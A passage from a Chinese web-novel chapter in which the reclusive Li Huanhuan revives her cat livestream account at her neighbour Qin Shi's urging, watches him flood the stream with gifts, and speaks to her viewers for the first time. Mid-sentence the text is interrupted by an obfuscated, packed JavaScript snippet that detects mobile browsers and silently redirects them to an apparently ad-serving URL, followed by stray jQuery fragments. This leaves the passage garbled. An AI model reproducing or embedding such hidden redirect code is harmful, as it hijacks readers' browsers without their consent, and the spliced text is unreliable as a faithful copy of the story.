李还幻抬手捂住心脏。


    最初【猫殿下】这个账号，是作为“养猫人”想要在网络上、分享自家可爱猫主子的心理，才出现的。


    渐渐地，就从单纯的分享变成了直播，账号的粉丝也越来越多。李还幻开始投入更多的精力、更多的时间在这个账号上，想着怎么将账号养好、想着怎么不无聊、想着怎么全方位地展现猫殿下的貌美、性格、日常生活，想着将她觉得美好的东西分享给同样喜欢猫殿下的网友。


    随着投入越来越多，到后期，都说不准是在【猫殿下】这个账号花费的心思多，还是在【幻想曲】账号花费的心思多？


    对于一条懒散的咸鱼来说，特意用休息时间去做的事，肯定是热爱。


    况且，【猫殿下】这个账号让她结识了不少网络上的朋友，比如【喳喳】；收获了很多喜欢，比如“不吃火锅就是烧烤”；同样的，也给她的经济带来了一笔占比不小的收入，缓解了她的经济压力。


    就在前不久，李还幻还计划着、想要暂时将公众号的兼职给停了。对她来说，钱够花就行。


    结果因为周年庆活动，从东方椒那里得知“不吃火锅就吃烧烤”就是秦时。因为这个消息，打乱了李还幻的计划，让她临时决定暂停【猫殿下】这个账号。


    她嘴上说着不喜欢直播，不就是一个直播账号？不贪恋那些东西？就连她的闺蜜小静都相信了。可实际上，也只有她自己清楚，“关停账号”对她来说，需要莫大的勇气，只有她自己清楚内心的不舍得。


    本以为这件事就这么过去了，就算在秦时面前暴露了，她也没有想过要将账号重新捡起来。


    这在她心底，是一个秘密。


    谁曾想，秦时却对她说：如果想感谢他，那就回来继续直播吧。


    并且，拆穿了她心里的不舍。


    李还幻的世界很小，也很窄。小到只有一两个朋友，窄到日常活动范围就家里那百来平米的房子里。秦时没来前，每天说话不超过10句，并且这10句话，至少9句都是跟猫殿下说的，剩下那1句，属于无聊时的自言自语。


    常年的【死宅】生活，几乎断绝了她的社交圈子。长时间的独处，让她的世界无聊、又无聊。就好像是小说世界里，那种没有台词、没有剧情的背景板NPC，无聊、无趣，不会有人专门停下来，去好奇一个NPC模版有什么样的故事？


    因此，在20岁生日觉醒，发现自己是小说世界里的路人甲，李还幻没有震惊，没有指着老天骂不公平，没有兴奋、没有愤怒，她很平静地接受了这一点。因为她的人生，就是这样，像世界的背景板、像无聊的白开水一样平淡，无聊。


    李还幻没有想过，要去跟什么人、什么事物，或者这个世界，建立更深的联系。也没有人特意来研究、好奇她的心理，她的想法。


    即便是亲密如闺蜜小静，李还幻在交往中，也为自己竖立起了一道墙。


    对于接触过的人来说，【李还幻】就是一个可有可无的存在、一个存在感不太强的人？或者，一个脾气温和的人？不爱说话？不爱社交？好像有点孤僻？


    就这样的印象。


    如果再问，被问的人就会露出茫然的表情：“还有什么？没有了吧。哦，还有点无聊。”


    对于人际交往，李还幻没有期待过。她每天绝大部分时间都呆在家里，有需要照顾的猫、需要完成的工作，时间被填满，也就没有“被理解”“深入建交”的需求。


    很多年了，自从爸爸意外去世后，李还幻就逐渐习惯了这种状态。


    谁想有一天，突然有一个人说出了她藏在心底的秘密，说出了她的渴望，说她不舍得【猫殿下】的账号。


    就好像是一只生活在玻璃缸里的蜗牛，习惯了缸里的小世界，安稳、平稳地度过每一天，然后突然的某一天，缸子外面伸过来一只手，对着缸子敲了敲：“喂，缸子里的蜗牛，你其实很喜欢昨天飘进缸里的那片树叶，对吗？”


    缸子里的“蜗牛”抬起头，惊讶地朝那只手的主人望去。


    昨天的风很大，一片树叶顺着打开的窗户，从外面吹进来，落到了它的玻璃缸里。这片意外闯入它世界的树叶，它很新奇，也很喜欢。正想要好好保存、占为己有，玻璃缸外面的人却认为树叶阻碍了观赏的视线，将树叶从缸子里取走。


    “蜗牛”陷入茫然，在原地待了会儿，失落地离开。


    直到有一天，缸子被敲响，问她“喜不喜欢树叶”？


    “李还幻，你怎么了？”


    秦时被李还幻长时间的沉默吓到，连忙解释，“我只是觉得，你应该是喜欢那个账号的，直播的时候也很开心。如果可以，没必要因为我的缘故停播。”


    李还幻低下头，看着被手指捂住的心脏，片刻后，她抬起头，朝秦时笑了笑：“没事，跟你没关系。啊，对了，谢谢你。你说得没错，我舍不得。”


    咚，咚。


    耳边，依旧是心脏跳动的声音。


    李还幻用力按了一下。


    这件事，到最后便没有再聊了。李还幻同意了秦时的提议，因为秦时说，她没有直播，烧烤又送到了他朋友家里、暂时见不到，朋友打电话说烧烤都快抑郁了。


    不管是真是假，在断播一段时间后，【猫殿下】这个账号重新开启了直播。


    刚开播的时候人还很少，直到后面有人将消息发到粉丝群里，直播间的人数才一下子变多起来：


    “？？？”


    “！！！”


    “天啦？”


    “这是什么？我眼花了？？？”


    “猫殿下？？”


    “奶奶，您关注的主播终于开播了！！！”


    ……


    弹幕很热闹。


    有人看到屏幕里的猫猫，感动流泪。


    就在这时，屏幕被礼物刷屏：


    【不吃火锅就吃烧烤】，送给【猫殿下】1艘航母！


    【不吃火锅就吃烧烤】，送给【猫殿下】1艘航母！


    【不吃火锅就吃烧烤】，送给【猫殿下】1艘航母！


    ……


    那位神秘的“不吃火锅就吃烧烤”大佬，再次重出江湖。


    “是火锅大佬？！”弹幕。


    “是我们熟悉的土豪气息！”


    “哇，不是游艇，是航母~”


    “好多航母，我的屏幕都被礼物特效挡住了，看不到亲爱的猫殿下了~”


    ……


    镜头后面的李还幻，自然也看到霸屏的礼物。


    她现在知道“不吃火锅”就是秦时，再看满屏的礼物，感受自然跟先前又有不同。按照惯例，应该要灯牌写字感谢的。


    可是，她有段时间没有直播了，今天匆忙开播竟然忘了提前将灯牌准备


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087856|159767||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好。眼看着秦时刷的礼物越来越多，李还幻心里也跟着慌起来，想要阻止，镜头后面脱口而出：“不要……”


    短短两个字，戛然而止。


    原本滚动的弹幕，也在片刻间有了停滞。不过很快，弹幕重新动起来，甚至比先前还要疯狂：


    “曲曲？刚才是曲曲的声音吗？”


    “咦？是吧？我好像也跟听到了！”


    “哇，真的是曲曲的声音？！！曲曲刚才说话了！”


    “老婆——”


    ……


    弹幕里，竟然还有人喊起了“老婆”，雷得李还幻起了一身鸡皮疙瘩。


    也有来得晚的，或者刚才光顾着看猫、看屏幕，没有注意到的，在弹幕里问：


    “什么？”


    “曲曲说话了？”


    “求！再说一次！！！”


    “什么音色？软妹老婆音？哇？？”


    ……


    李还幻没有经历过这些。


    看着画风逐渐走偏的弹幕，整张脸皱成一团，镜头后的她显得有些手足无措。


    150号的书房里。


    秦时坐在沙发上，看着弹幕区的“老婆”“软妹老婆音”，那对浓而张扬的眉毛也皱拢了，脸上露出明显的不开心。


    “什么啊？都在乱喊什么？是你们的老婆吗，就在评论区里乱喊？现在人上网，逮到声音好听点的，就喊老婆？矜持呢？涵养呢？”


    秦时越看越气。


    突然有点后悔，提议李还幻复播了。


    他现在好想冲到149号的房子里，把李还幻的直播关掉，把那些喊“老婆”的无耻之徒，统统拉黑、再直踢出播间。可是眼下后悔也来不及了，况且他一条腿还瘸着，现实情况也没办法支撑他一个健步冲到149号。


    他能做的，只是继续刷礼物、不停刷礼物，把那些乱喊“老婆”的弹幕给遮住。他才不希望李还幻，看到那些胡言乱语。


    李还幻已经最初的紧张中冷静下来。


    她本来想起身，去外面抽屉里拿灯牌，像以前那样将想说的话，写在灯牌上。可是，看到热闹、亲切的弹幕区，感受到大家对于她归来释放的浓烈的善意，李还幻突然觉得用灯牌不足以表达她的感谢、感激。


    只有声音，通过直接的媒介，才能表达出她的感谢。


    况且，她刚才已经不小心在直播间漏过声音了，或许克服一下，也可以在这么多人面前开口说话。


    巨大而绚烂的礼物特效，霸占屏幕。


    李还幻双手放在膝盖上，捏成拳头，深吸一口气，缓缓开口：“不吃火锅就吃烧烤，谢谢你的礼物——”


    她的声音里，带着她自己都没有觉察到的小颤音。


    不过，或许是因为当着这么多人的面，在直播间里叫出秦时的网络名字，让她有种想要笑、又觉得很恍惚的喜感，这种喜感带来的熟悉给了她某种安全感。渐渐地，李还幻的声音稳定下来：


    “我已经感受到你的心意了，请停下来吧。”


    顿一下，声调微微抬高，


    “大家好，我是【猫殿下】账号的拥有者，养了一只叫‘猫殿下’的猫，大家可以叫我幻想曲。感谢大家一直以来的支持与喜爱，我为我前段时间的突然停播，表示歉意……”


    随着李还幻的声音响起，直播间里的人越来越多，弹幕也越来越疯狂。